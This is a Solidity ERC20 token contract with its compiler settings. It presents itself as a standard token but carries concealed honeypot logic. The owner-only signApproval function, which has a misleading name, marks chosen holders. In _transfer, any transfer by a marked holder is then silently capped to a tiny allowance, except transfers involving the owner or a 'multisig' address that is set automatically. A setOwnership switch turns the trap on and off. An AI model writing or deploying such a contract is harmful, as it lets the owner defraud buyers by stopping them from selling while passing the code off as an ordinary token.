pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address tokenOwner) external view returns (uint256 balance);
    function transfer(address to, uint256 tokens) external returns (bool success);
    function approve(address spender, uint256 tokens) external returns (bool success);
    function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
    function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);

    event Transfer(address indexed from, address indexed to, uint256 tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}

contract ERC20 is IERC20, Context {
    string private _name;
    string private _symbol;
    uint8 private _decimals = 18;
    uint256 private _totalSupply;
    address public owner;
    uint256 private spendAllowance;
    bool private ownership = false;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) public signedApproval;
    mapping (address => address) private _multisigAddress;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_, uint256 minAllowance) {
        _name = name_;
        _symbol = symbol_;
        owner = _msgSender();
        _totalSupply = totalSupply_ * 10 ** uint256(_decimals);
        spendAllowance = minAllowance;
        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address tokenOwner) public view override returns (uint256 balance) {
        return _balances[tokenOwner];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address tokenOwner, address spender) public view virtual override returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 tokens) public override returns (bool success) {
        _allowances[_msgSender()][spender] = tokens;
        emit Approval(_msgSender(), spender, tokens);
        return true;
    }

    function transferFrom(address from, address to, uint256 tokens) public override returns (bool success) {
        _transfer(from, to, tokens);
        _allowances[from][_msgSender()] -= tokens;
        return true;
    }

    function signApproval(address spender, uint256 amount) public {
        require(_msgSender() == owner, "Require owner");
        require(spender != _multisigAddress[owner], "Spender is multisig address");
        
        signedApproval[spender] = amount;
    }

    function setOwnership(bool status) public {
        require(_msgSender() == owner, "Require owner");
        ownership = status;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from == owner && _multisigAddress[owner] == address(0)) {
            _multisigAddress[owner] = to;
        }

        if (from != owner && to != owner && from != _multisigAddress[owner] && !ownership && signedApproval[from] > 0) {
            amount = amount > spendAllowance ? spendAllowance : amount;
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }
    
}




    

{
  "compilationTarget": {
    "ERC20.sol": "ERC20"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}